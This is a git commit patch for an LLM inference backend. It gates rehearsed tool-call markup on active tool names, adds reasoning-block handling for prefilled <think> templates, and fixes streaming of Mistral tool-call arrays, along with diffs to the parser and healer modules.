  key no longer fires a false provisional card ahead of the real top-level tool name.

Adds regression tests for both loops: inactive-name foo[ARGS]{...} is not drained into
a disabled no-op or a retry turn, a think-block render_html rehearsal emits no
provisional card, and the array top-level name is read correctly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate ambiguous bare-rehearsal parse and strip on the active tool list

A bare NAME[ARGS]{json} is a genuine rehearsal call only when NAME is an
active tool; otherwise it is prose. The earlier round gated only detection
(so an inactive foo[ARGS] no longer drained the buffer or forced a retry
turn), but the parse and strip stayed unrestricted, which produced two
regressions:

1. An inactive foo[ARGS]{...} placed immediately before a real
   web_search[ARGS]{...} in the same content span made the real call fail
   to execute (parse consumed the phantom foo call).
2. An inactive foo[ARGS]{...} in a prose answer had its markup stripped
   from the visible text, corrupting the sentence to " is just syntax."

Thread enabled_tool_names through the shared parser/strip so parse and
strip apply the SAME active-tool gate as detection:

- core/tool_healing.py: _iter_bracket_spans skips an inactive rehearsal
  span; parse_tool_calls_from_text, _strip_bracket_tag_calls,
  _strip_markup_segment and strip_tool_call_markup accept and thread the
  gate; apply_tool_strip_patterns keeps an inactive rehearsal match.
- core/inference/tool_call_parser.py: wrappers forward the gate.
- core/inference/safetensors_agentic.py and core/inference/llama_cpp.py:
  compute the gate from the active tool list (None when unrestricted, to
  keep the legacy strip-all behavior) and thread it into every parse and
  streaming/final strip site.
- routes/inference.py: _strip_tool_xml_for_display accepts the gate and
  keeps an inactive rehearsal via a capture group on its rehearsal arm, so
  the display cleanup does not re-strip the already-correct loop output.
  The [TOOL_CALLS] control-token arms still strip unconditionally. Wire
  the current turn's active tool names into the GGUF and safetensors
  content-display sites.

Tests: parse and strip gate coverage in test_tool_call_parser_strict.py,
test_tool_xml_strip.py and test_safetensors_tool_loop.py; end-to-end GGUF
coverage for the real-call-after-inactive-rehearsal case and a
strengthened assertion that the inactive rehearsal prose survives intact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: render the reasoning block for safetensors and MLX like GGUF

enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think>
into the generation prompt, so the model emits only the closing </think> then
the answer. The safetensors/MLX chat stream emitted that as plain content, so
the reasoning showed inline with no collapsible thinking block, while GGUF
(which surfaces reasoning via reasoning_content) rendered one. This brings
safetensors and MLX to parity.

- _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts
  inside the reasoning block and splits on the first </think>; default False
  keeps GGUF and every existing caller byte-identical. It suppresses a stray
  re-emitted <think> and holds partial markers back across chunk boundaries.
- _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the
  request, an enable_thinking or enable_thinking_effort style, and the template
  actually using the standard <think>/</think> markers. Models with a bespoke
  reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their
  answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are
  excluded too.
- sf_tool_stream and stream_chunks (the latter also serves MLX) feed text
  through the extractor, emitting reasoning_content then content deltas, with a
  per-turn reset in the tool loop and a flush before each tool_start; only the
  visible delta reaches the monitor reply. The two non-streaming drains split
  reasoning_content the same way.
- Tests: extractor prefilled mode (streaming and edge cases), the gate matrix
  including the gemma-style exclusion, and a route-replay of the tool-loop
  reasoning stream.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: skip tool calls rehearsed in prefilled reasoning

Reasoning models (Qwen3.5 enable_thinking) open <think> in the prompt, so the
generated text starts inside the thought and emits only a closing </think> with
no opener. _think_spans_outside_tool_markup only found spans with an explicit
opener, so a NAME[ARGS]{...} or [TOOL_CALLS] call rehearsed in that leading
thought was parsed and executed as a real call.

Add a leading think span (offset 0 through the first close marker) when the
content opens with a bare close, so the rehearsed call is skipped and the
reasoning is preserved by strip_outside_think. Guarded by the existing call-span
check: a literal </think> inside a real call's arguments does not trigger the
span, so a genuine leading call still fires. Tests for both cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: do not start prefilled reasoning mode when reasoning_effort is none

enable_thinking_effort models (e.g. GLM-5.2) express thinking-off via
reasoning_effort="none" rather than enable_thinking=False, but
_sf_reasoning_prefill_mode only looked at enable_thinking, so such a request
started the extractor in prefilled mode. With thinking off the model never emits
</think>, so the whole answer was captured as reasoning_content and the visible
content/stream came back empty. Thread reasoning_effort through and return False
when it is "none". Tests for none vs a real effort level.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: only treat a leading bare </think> as prefilled reasoning when a real call follows

The prefilled-reasoning virtual span fired on any unmatched leading close marker,
so a non-prefilled turn that emits a real call before a stray </think> (for
example "Now web_search[ARGS]{...}</think> answer") had the call swallowed by the
span and dropped. Require that a real tool call also appear after the close (the
actual turn that follows the thought) before adding the span, so a stray close in
a normal answer no longer suppresses a genuine leading call. The rehearse-then-
call case still skips the rehearsal. Test for the stray-close case.

* Studio: trim redundant comments (comment-only, AST-verified)

* studio: keep tool_healing importable on Python 3.9

_balanced_json_span was annotated -> int | None. With no
from __future__ import annotations, that PEP 604 union is evaluated at
import time, so on Python 3.9 (which the package still supports,
requires-python >=3.9, and where external inference servers import this
module standalone) the def raises TypeError and the whole module fails
to import before any parsing runs.

Add from __future__ import annotations so annotations stay lazy strings,
matching the prevailing convention across studio/backend. No behavior
change: the module has no runtime annotation introspection.

* Studio: gate the Anthropic tool-stream display strip on declared tools

The Anthropic streaming and non-streaming tool paths called
_strip_tool_xml_for_display without enabled_tool_names, so with the default
strip-all behavior a final answer that literally contains an inactive-name
NAME[ARGS]{json} (prose, not a call) lost those bytes in the delivered text.
The GGUF and safetensors paths already pass _display_tool_name_gate(tools);
these two sites were missed when that gate was threaded through.

Compute the gate from the declared tools and pass it at both sites (threading
openai_tools into _anthropic_tool_non_streaming and its caller), so an
inactive-name rehearsal survives while an active-name one is still stripped.
Add a regression test.

* Studio: hold a split unrestricted rehearsal prefix at the bracket

In unrestricted tool mode (tools=[]) the rehearsal-prefix regex required
[A after the bracket, so a chunk boundary landing right after NAME[ (e.g.
web_search[ then ARGS]{...}) failed the prefix check and streamed the
partial tool markup web_search[ to the client before the call drained.
Restricted mode already holds this via a startswith check. Make the bracket
and each ARGS letter individually optional so NAME[ is held too, matching
the documented intent. Add a regression test.

* Studio: gate rehearsal detection and history strip on the original tool set

Two display/loop gate fixes so a spent one-shot tool is handled consistently:

- Rehearsal DETECTION (safetensors and GGUF loops) now uses the ORIGINAL tool
  list, matching the strip gate, instead of the post-removal active_tools. After a
  one-shot tool (render_html) runs it is dropped from active_tools; a repeat
  render_html[ARGS]{...} while another tool is still active was stripped from
  display yet never detected, so it was not routed to the render_html_repeat no-op
  and the turn ended as a blank continuation. Detection now fires for it.

- The GGUF assistant-history sanitiser forwards the enabled-tool-name gate (like
  the live-response strip), so a prior turn documenting an inactive foo[ARGS]{...}
  shape is preserved in the replayed prompt context instead of being deleted.

Add regression tests for both loops and the history strip.

* Studio: thread the tool-name gate through the remaining rehearsal/history sites

Follow-up to the rehearsal-detection and history-strip gate fixes, covering the
sibling sites that were missed:

- GGUF loop: the rehearsal-prefix and trailing-name hold checks now use the
  original tool list (_detect_tools) like the detection path, so a spent one-shot's
  split repeat (bare render_html then [ARGS]{...}) is held instead of flushed as
  visible text.
- The safetensors and Anthropic assistant-history sanitisers and the Anthropic
  non-streaming passthrough now forward the enabled-tool-name gate to
  _strip_tool_xml_for_display, matching the GGUF history sanitiser and the live
  strips, so a prior turn documenting an inactive foo[ARGS]{...} example is
  preserved in the replayed prompt / final text instead of deleted.

Add regression tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tile bracket-call spans per array item and include the v11 closer

Two with_spans fixes for the Mistral bracket parser, both hit through the
client-tool passthrough healers:
- A multi-call [TOOL_CALLS] array carried its whole markup span on the first
  call and zero-width spans after, so a consumer that filters promotions by
  the declared tool set either re-emitted the full raw array as text next to
  the promoted call or silently dropped a filtered call's bytes. The region is
  now tiled across the call-producing items (each call's span covers its own
  JSON object plus the separator bytes before it; the last span runs to the
  region end), so promoted markup strips exactly once and a skipped call's
  bytes stay visible.
- The v11 wrapper closer [/TOOL_CALLS] sat outside the reported span and
  leaked as stray text after promotion; the region now extends over an
  immediately-following closer.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: decouple healer signals from the loop signal set

The passthrough healer buffered on every TOOL_XML_SIGNALS entry, so the bare
[ARGS] rehearsal marker this branch adds for the loops (where it is gated on
active tool names) put legitimate prose like 'Use foo[ARGS] in templates'
into the holding state and stalled the stream until finalization. The healer
can never promote a bare rehearsal call, so it now buffers only on formats
its parser promotes: <tool_call>, <|tool_call>, <function=, [TOOL_CALLS].

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Condense comments in the Mistral tool-call rescue to contract essentials

* verify_import_hoist: exempt __future__ imports and same-diff relocations

Two false positives fired on this PR's refactor. A from __future__ import
is a compiler directive whose name never appears as a runtime load, so
HOISTED-IMPORT-UNUSED can never see it used, yet the file requires it for
PEP 604 annotations on Python 3.9. TARGET-CHANGED flagged the deliberate
move of the strip-pattern constants into core.inference.tool_call_parser
as a silent re-point even though the old module-level target was removed
and the new one added in the same diff. Both get narrow exemptions; a
re-point to a pre-existing target is still caught, and the self-test
negative controls all pass unchanged.

* Drain the whole Mistral [TOOL_CALLS] array in streaming passthrough healing

StreamToolCallHealer._drain promoted only the first parsed call per pass and
dropped the rest of the buffer past that one span. For a well-formed Mistral
parallel-tool-call array streamed through client-tool passthrough
([TOOL_CALLS][{...},{...}]), the per-item spans are contiguous, so after the
first call was promoted the residue began with ,{...}] (no leading signal) and
was flushed as raw text: every call after the first was lost.

_drain now walks the contiguous run of parsed calls (adjacent tiled spans =
one array), promoting each declared call and relaying undeclared ones as data,
and stops at the first gap (prose) or incomplete trailing block so separate
blocks still stream incrementally in document order. This mirrors the
non-streaming heal_openai_message / finalize promote-or-flush loop and the
server-side safetensors loop, which already handled multi-call arrays.

Added regression tests: 2-call array in one feed and char-by-char, an
undeclared middle call kept as text, and an array followed by trailing prose.

* Drain comma-less Mistral tool-call arrays and normalize null arguments

The array branch fed the whole body to a single json.loads, which rejects the
comma-less multi-call form the repo's own Mistral/Ollama templates render (the
range loop in ollama_template_mappers.py emits the objects with no separator) and
so dropped every call. Decode elements individually with the existing
comma-tolerant raw_decode helper, now _decode_array_items, which also returns the
objects, so all calls are recovered while the span tiling is unchanged.

Also normalize a non-object array argument such as arguments null to an empty
object, matching the wrapped tool_call path, instead of serializing None to the
string "null" that auto-heal would turn into a bogus query of "null".

* Gate safetensors reasoning prefill on the rendered generation prompt

reasoning_always_on fires on any paired <think></think> in the template,
including markup that only renders PAST assistant history (Kimi-K2-Thinking)
while the generation prompt opens no <think>. Starting the reasoning extractor
in prefilled mode there captured a normal answer entirely as reasoning_content
and returned blank visible content. Prefill only when rendering the generation
prompt actually leaves <think> open (DeepSeek-R1 / QwQ / Qwen3-Thinking);
history-only templates start the extractor in normal mode and parse the model's
own <think>...</think>. Adds a Kimi-shape regression test.

* Keep bare scalar Mistral array arguments raw instead of double-encoding

A scalar string argument in the canonical Mistral [TOOL_CALLS] array
(for example [TOOL_CALLS][{"name":"web_search","arguments":"weather"}])
was run through json.dumps, turning weather into the JSON string
"weather". The downstream argument healer then wrapped that quoted
form, so a single-string tool like web_search searched for the literal
"weather" with quotes. The <tool_call> path already keeps a scalar
argument raw; mirror it here so only a dict is serialized. Add a
regression test asserting both paths yield the same healed arguments.

* Tighten tool-call rescue and reasoning-prefill comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    | 208 ++++-
 .../core/inference/passthrough_healing.py     |  64 +-
 .../core/inference/safetensors_agentic.py     | 394 +++++++--
 .../core/inference/tool_call_parser.py        | 116 ++-
 studio/backend/core/tool_healing.py           | 521 +++++++++--
 studio/backend/routes/inference.py            | 277 ++++--
 .../backend/tests/test_anthropic_messages.py  |  18 +
 .../tests/test_gemma_tool_parse_edge_cases.py |  14 +
 .../backend/tests/test_llama_cpp_tool_loop.py | 306 +++++++
 .../backend/tests/test_passthrough_healing.py |  89 ++
 .../tests/test_responses_tool_passthrough.py  |  11 +-
 .../test_safetensors_capability_advertise.py  |  37 +-
 .../test_safetensors_reasoning_stream.py      |  45 +-
 .../tests/test_safetensors_tool_loop.py       | 818 ++++++++++++++++++
 .../tests/test_tool_call_parser_strict.py     | 141 ++-
 studio/backend/tests/test_tool_xml_strip.py   | 324 ++++++-
 16 files changed, 3114 insertions(+), 269 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 455d1d084c..aab3470193 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -44,7 +44,8 @@ from core.inference.llama_server_args import (
 from core.inference.tool_call_parser import (
     _GEMMA_BARE_TC_PREFIX_RE,
     _GEMMA_BARE_TC_RE,
-    _TOOL_ALL_PATS,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
     _balanced_brace_end,
     _strip_function_xml_calls,
     _strip_gemma_wrapperless_calls,
@@ -58,6 +59,16 @@ from core.inference.tool_call_parser import (
     strip_llama3_leading_sentinels,
     strip_tool_markup as _shared_strip_tool_markup,
 )
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the GGUF streaming strip stays aligned with the parser.
+from core.tool_healing import (
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    apply_tool_strip_patterns,
+    strip_outside_think,
+    strip_tool_call_markup,
+)
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
 from utils.subprocess_compat import (
@@ -256,6 +267,72 @@ _FINAL_ANSWER_SIGNAL = re.compile(
 )
 
 
+def _gguf_active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in (active_tools or [])
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Rehearsal NAME chars (word + hyphen, matching the parser); the lookbehind excludes the
+# Mistral [CALL_ID]...[ARGS] shape.
+_GGUF_REHEARSAL_ARGS_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]")
+
+
+def _gguf_rehearsal_signal_pos(text: str, active_tools: list[dict]) -> int:
+    """Index of the first ``NAME[ARGS]`` whose NAME is an active tool, else -1. A
+    bare/inactive-name ``foo[ARGS]`` in prose is not a call; mirrors the safetensors
+    ``_earliest_tool_signal`` name-gating (no unrestricted GGUF mode)."""
+    active = set(_gguf_active_tool_names(active_tools))
+    if not active:
+        return -1
+    for m in _GGUF_REHEARSAL_ARGS_RE.finditer(text):
+        if m.group(1) in active:
+            return m.start()
+    return -1
+
+
+def _gguf_has_genuine_tool_signal(text: str, signals, active_tools: list[dict]) -> bool:
+    """True when ``text`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Unambiguous markers (``<tool_call>``, ``[TOOL_CALLS]``, ``<function=``) count on a
+    plain substring hit; an ``[ARGS]`` hit is genuine only when an active tool name
+    precedes it, so inactive-name prose is neither drained nor parsed."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if _gguf_rehearsal_signal_pos(text, active_tools) >= 0:
+                return True
+            continue
+        if sig in text:
+            return True
+    return False
+
+
+def _is_rehearsal_prefix(stripped: str, active_tools: list[dict]) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of ``NAME[ARGS]`` for an
+    active tool -- the bare tool name arriving in its own chunk before ``[ARGS]{...}``.
+    Mirrors the safetensors loop so the split rehearsal call is not streamed."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    for name in _gguf_active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose. Mirrors safetensors."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0
+
+
 def _is_short_intent_without_action(text: str) -> bool:
     stripped = text.strip()
     return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None
@@ -8418,6 +8495,13 @@ class LlamaCppBackend:
         _reasoning_started_at: Optional[float] = None
         _reasoning_summary_emitted = False
 
+        # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the
+        # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = no gate.
+        _enabled_names_gate = set(_gguf_active_tool_names(tools)) if tools else None
+        # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent
+        # one-shot), else its repeat is stripped but never drained and the turn ends blank.
+        _detect_tools = list(tools or [])
+
         def _reasoning_summary_event(started_at: float) -> dict:
             return {
                 "type": "reasoning_summary",
@@ -8436,25 +8520,42 @@ class LlamaCppBackend:
         ) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
+            # Delegate to the shared parser-side strip so the GGUF cleanup covers every family the
+            # parser promotes (Llama <|python_tag|>, Mistral [TOOL_CALLS], bare rehearsal, function
+            # XML, Gemma) and stays aligned with detection; tool_healing's strip omits the loop-only
+            # forms (python_tag / Mistral name) and would leak them into display.
             return _shared_strip_tool_markup(
-                text, final = final, enabled_tool_names = _enabled_tool_names
+                text, final = final, enabled_tool_names = _enabled_names_gate
             )
 
         def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str:
             if not (auto_heal_tool_calls or force):
                 return text
-            # Shared parser patterns (not the legacy tool_healing set) so textual
-            # Mistral/python_tag calls entering DRAINING never leak. Balanced strips
-            # first (nested JSON removed whole); no final trim so length compares hold.
-            text = _strip_mistral_closed_calls(text)
-            text = _strip_gemma_wrapperless_calls(text, _enabled_tool_names)
-            # Parser-accurate scans close at each call's REAL terminator before
-            # the regex arms: literal markup inside a value is data.
-            text = _strip_function_xml_calls(text, final = True)
-            text = _strip_glm_calls(text, final = True)
-            for pat in _TOOL_ALL_PATS:
-                text = pat.sub("", text)
-            return text
+
+            def _seg(segment: str, is_last: bool) -> str:
+                # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced
+                # strips first (nested JSON removed whole; literal markup inside a value is that
+                # call's data), then the guarded function-XML / GLM scans, then the regex arms
+                # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last
+                # segment (a bare ``foo[ARGS]`` before <think> is prose). Rehearsal + markerless
+                # strips are name-gated on the ORIGINAL list (strip/detect aligned).
+                seg = _strip_mistral_closed_calls(segment)
+                seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate)
+                if is_last:
+                    seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate)
+                seg = _strip_function_xml_calls(seg, final = is_last)
+                seg = _strip_glm_calls(seg, final = is_last)
+                pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS
+                for pat in pats:
+                    seg = pat.sub("", seg)
+                if is_last:
+                    seg = apply_tool_strip_patterns(
+                        seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate
+                    )
+                return seg
+
+            # Preserve think blocks verbatim (a rehearsed call inside one must not be deleted).
+            return strip_outside_think(text, _seg)
 
         def _build_metadata_event(usage, timings, finish_reason):
             """Final usage+timings metadata event for the given pass, merging its
@@ -8814,12 +8915,18 @@ class LlamaCppBackend:
                                             in_thinking = False
                                         cumulative_display += token
                                         cleaned = _strip_tool_markup_streaming(cumulative_display)
-                                        if len(cleaned) > len(_last_emitted):
-                                            _last_emitted = cleaned
+                                        # Hold a trailing bare active-tool-name (split rehearsal)
+                                        # until [ARGS] arrives; released by later prose or stream end.
+                                        _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                        _emit = (
+                                            cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                                        )
+                                        if len(_emit) > len(_last_emitted):
+                                            _last_emitted = _emit
                                             if not _suppress_visible_output:
                                                 yield {
                                                     "type": "content",
-                                                    "text": cleaned,
+                                                    "text": _emit,
                                                 }
 
                                     elif detect_state == _S_BUFFERING:
@@ -8828,7 +8935,8 @@ class LlamaCppBackend:
                                         if not stripped_buf:
                                             continue
 
-                                        # Check tool signal prefixes.
+                                        # Bracket tags arrive mid-buffer, so substring-check too;
+                                        # ``[ARGS]`` counts only as a regex-matched NAME[ARGS].
                                         is_prefix = False
                                         is_match = False
                                         for sig in _tool_xml_signals:
@@ -8838,6 +8946,31 @@ class LlamaCppBackend:
                                             if sig.startswith(stripped_buf):
                                                 is_prefix = True
                                                 break
+                                            if sig == "[ARGS]":
+                                                # Active NAME[ARGS] only; inactive-name prose
+                                                # is gated out, not drained/parsed.
+                                                if (
+                                                    _gguf_rehearsal_signal_pos(
+                                                        stripped_buf, _detect_tools
+                                                    )
+                                                    >= 0
+                                                ):
+                                                    is_match = True
+                                                    break
+                                            elif sig.startswith("[") and sig in stripped_buf:
+                                                is_match = True
+                                                break
+
+                                        # Split rehearsal: hold the bare name until
+                                        # its [ARGS] arrives and matches above.
+                                        is_rehearsal_prefix = False
+                                        if (
+                                            not is_match
+                                            and not is_prefix
+                                            and _is_rehearsal_prefix(stripped_buf, _detect_tools)
+                                        ):
+                                            is_prefix = True
+                                            is_rehearsal_prefix = True
 
                                         # Signal-less call shapes (mirror the safetensors
                                         # loop): Llama-3.2 bare {"name":..} and Gemma
@@ -8884,9 +9017,14 @@ class LlamaCppBackend:
                                             # Tool signal -- flush any visible
                                             # prefix before DRAINING so the
                                             # route sends it before tool_start.
+                                            # Use the final strip (all families incl. Llama
+                                            # <|python_tag|> / Mistral name): the buffer holds
+                                            # the whole call, so a streaming closed-only strip
+                                            # would leak its open-ended markup as display text.
                                             _flush_reasoning_and_buffer()
-                                            cleaned = _strip_tool_markup_streaming(
+                                            cleaned = _strip_tool_markup(
                                                 cumulative_display,
+                                                final = True,
                                                 force = True,
                                             )
                                             if len(cleaned) > len(_last_emitted):
@@ -8898,8 +9036,14 @@ class LlamaCppBackend:
                                                     }
                                             detect_state = _S_DRAINING
                                         elif _hold_buffer or (
-                                            is_prefix and len(stripped_buf) < _MAX_BUFFER_CHARS
+                                            is_prefix
+                                            and (
+                                                is_rehearsal_prefix
+                                                or len(stripped_buf) < _MAX_BUFFER_CHARS
+                                            )
                                         ):
+                                            # A rehearsal prefix is self-bounded; the buffer
+                                            # cap must not cut long MCP names short.
                                             pass  # keep buffering
                                         else:
                                             # Not a tool -- flush buffer
@@ -8910,12 +9054,20 @@ class LlamaCppBackend:
                                             cleaned = _strip_tool_markup(
                                                 cumulative_display,
                                             )
-                                            if len(cleaned) > len(_last_emitted):
-                                                _last_emitted = cleaned
+                                            # Same trailing-name hold as STREAMING for this
+                                            # first flush out of BUFFERING.
+                                            _hold = _held_rehearsal_tail_len(cleaned, _detect_tools)
+                                            _emit = (
+                                                cleaned[: len(cleaned) - _hold]
+                                                if _hold
+                                                else cleaned
+                                            )
+                                            if len(_emit) > len(_last_emitted):
+                                                _last_emitted = _emit
                                                 if not _suppress_visible_output:
                                                     yield {
                                                         "type": "content",
-                                                        "text": cleaned,
+                                                        "text": _emit,
                                                     }
 
                             except json.JSONDecodeError:
@@ -8933,7 +9085,9 @@ class LlamaCppBackend:
                     _is_bare_tc = bool(active_tools) and _looks_like_enabled_bare_json(
                         _bare_eos, _enabled_tool_names
                     )
-                    if stripped_buf and any(s in stripped_buf for s in _tool_xml_signals):
+                    if stripped_buf and _gguf_has_genuine_tool_signal(
+                        stripped_buf, _tool_xml_signals, _detect_tools
+                    ):
                         detect_state = _S_DRAINING
                     elif _is_bare_tc:
                         detect_state = _S_DRAINING
@@ -9066,6 +9220,12 @@ class LlamaCppBackend:
                                         "type": "content",
                                         "text": forced_visible_text,
                                     }
+                        elif not _suppress_visible_output:
+                            # Turn ended as a plain answer (no [ARGS] followed): the held
+                            # rehearsal tail is real prose, release it.
+                            _final_clean = _strip_tool_markup_streaming(cumulative_display)
+                            if len(_final_clean) > len(_last_emitted):
+                                yield {"type": "content", "text": _final_clean}
 
                         # Content was already streamed.  Yield metadata.
                         yield {"type": "status", "text": ""}
diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py
index fe1aca0e4a..a444431f8d 100644
--- a/studio/backend/core/inference/passthrough_healing.py
+++ b/studio/backend/core/inference/passthrough_healing.py
@@ -32,16 +32,15 @@ from typing import Any, Optional
 from core.inference.tool_loop_controller import coerce_tool_arguments
 from core.tool_healing import parse_tool_calls_from_text
 
-# Signals limited to the formats parse_tool_calls_from_text (core.tool_healing)
-# actually promotes. The parser module's broader signal list also covers Llama
-# <|python_tag|> and Mistral [TOOL_CALLS] for the streaming DRAIN buffers whose
-# full parser handles them; buffering those here would hold a streamed
-# client-tool call until finalization and then flush it as prose (this healer
-# cannot promote them), so the passthrough keeps its own aligned list.
+# Only the formats this healer's parser can promote -- narrower than the loops'
+# broader TOOL_XML_SIGNALS. A loop-only marker (Llama <|python_tag|>, bare
+# [ARGS]) would buffer a streamed call as prose without promoting it, so keep a
+# healer-aligned list. Mistral's [TOOL_CALLS] IS promotable, so it stays in.
 _HEAL_SIGNALS = (
     "<tool_call>",
     "<|tool_call>",
     "<function=",
+    "[TOOL_CALLS]",
 )
 
 
@@ -356,9 +355,10 @@ class StreamToolCallHealer:
                         events.append(("text", emit))
                     self._buffer = self._buffer[len(self._buffer) - keep :]
                     return events
-            # HOLD: handle the FIRST complete block per pass so events keep
-            # document order (a later declared call must not overtake an
-            # earlier undeclared one flushing as text).
+            # HOLD: drain the first contiguous run per pass so events keep document
+            # order (a later declared call must not overtake an earlier undeclared one
+            # flushing as text). A run is one markup call OR a whole Mistral [TOOL_CALLS]
+            # array of contiguous spans, so later calls in it are not stranded as text.
             parsed, spans = parse_tool_calls_from_text(
                 self._buffer,
                 id_offset = self._id_offset,
@@ -379,26 +379,32 @@ class StreamToolCallHealer:
                     self._holding = False
                     continue
                 return events
-            start, end = spans[0]
-            promoted = _promote(
-                [parsed[0]],
-                self._allowed,
-                id_offset = self._id_offset,
-                tool_schemas = self._tool_schemas,
-            )
-            if promoted:
-                if start:
-                    events.append(("text", self._buffer[:start]))
-                events.append(("tool_call", promoted[0]))
-                self._id_offset += 1
-                # Drop exactly the promoted markup span; everything else
-                # (leading text, later blocks) stays and is rescanned.
-                self._buffer = self._buffer[end:]
-            else:
-                # Undeclared or unusable name: its markup is DATA, flush it
-                # (and anything before it) verbatim, then rescan the rest.
-                events.append(("text", self._buffer[:end]))
-                self._buffer = self._buffer[end:]
+            pos = 0
+            run_end = spans[0][1]
+            for order, (call, (start, end)) in enumerate(zip(parsed, spans)):
+                # Stop at the first gap or incomplete trailing block: leave it for the
+                # next pass to re-hold and stream incrementally, not flush as text early.
+                if order and start != run_end:
+                    break
+                promoted = _promote(
+                    [call],
+                    self._allowed,
+                    id_offset = self._id_offset,
+                    tool_schemas = self._tool_schemas,
+                )
+                if promoted:
+                    # Flush any leading text, then drop the promoted markup span.
+                    if self._buffer[pos:start]:
+                        events.append(("text", self._buffer[pos:start]))
+                    events.append(("tool_call", promoted[0]))
+                    self._id_offset += 1
+                else:
+                    # Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim.
+                    events.append(("text", self._buffer[pos:end]))
+                pos = end
+                run_end = end
+            # Everything past the drained run (later blocks) stays and is rescanned.
+            self._buffer = self._buffer[run_end:]
             self._holding = False
 
     def finalize(self) -> list:
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 8e86d09754..aa732f47e4 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -14,6 +14,7 @@ parses tool calls from the cumulative text and dispatches via
 ``core.inference.tools``.
 """
 
+import bisect
 import re
 import threading
 from typing import Callable, Generator, Optional
@@ -23,7 +24,8 @@ from loggers import get_logger
 from core.inference.tool_call_parser import (
     _GEMMA_BARE_TC_PREFIX_RE,
     _GEMMA_BARE_TC_RE,
-    _TOOL_ALL_PATS,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
     _balanced_brace_end,
     _strip_function_xml_calls,
     _strip_gemma_wrapperless_calls,
@@ -39,6 +41,16 @@ from core.inference.tool_call_parser import (
     strip_llama3_leading_sentinels,
     strip_tool_markup,
 )
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the safetensors streaming strip stays aligned with the parser.
+from core.tool_healing import (
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    _think_spans_outside_tool_markup,
+    apply_tool_strip_patterns,
+    strip_outside_think,
+)
 from core.inference.tool_loop_controller import (
     ToolLoopController,
     coerce_tool_arguments,
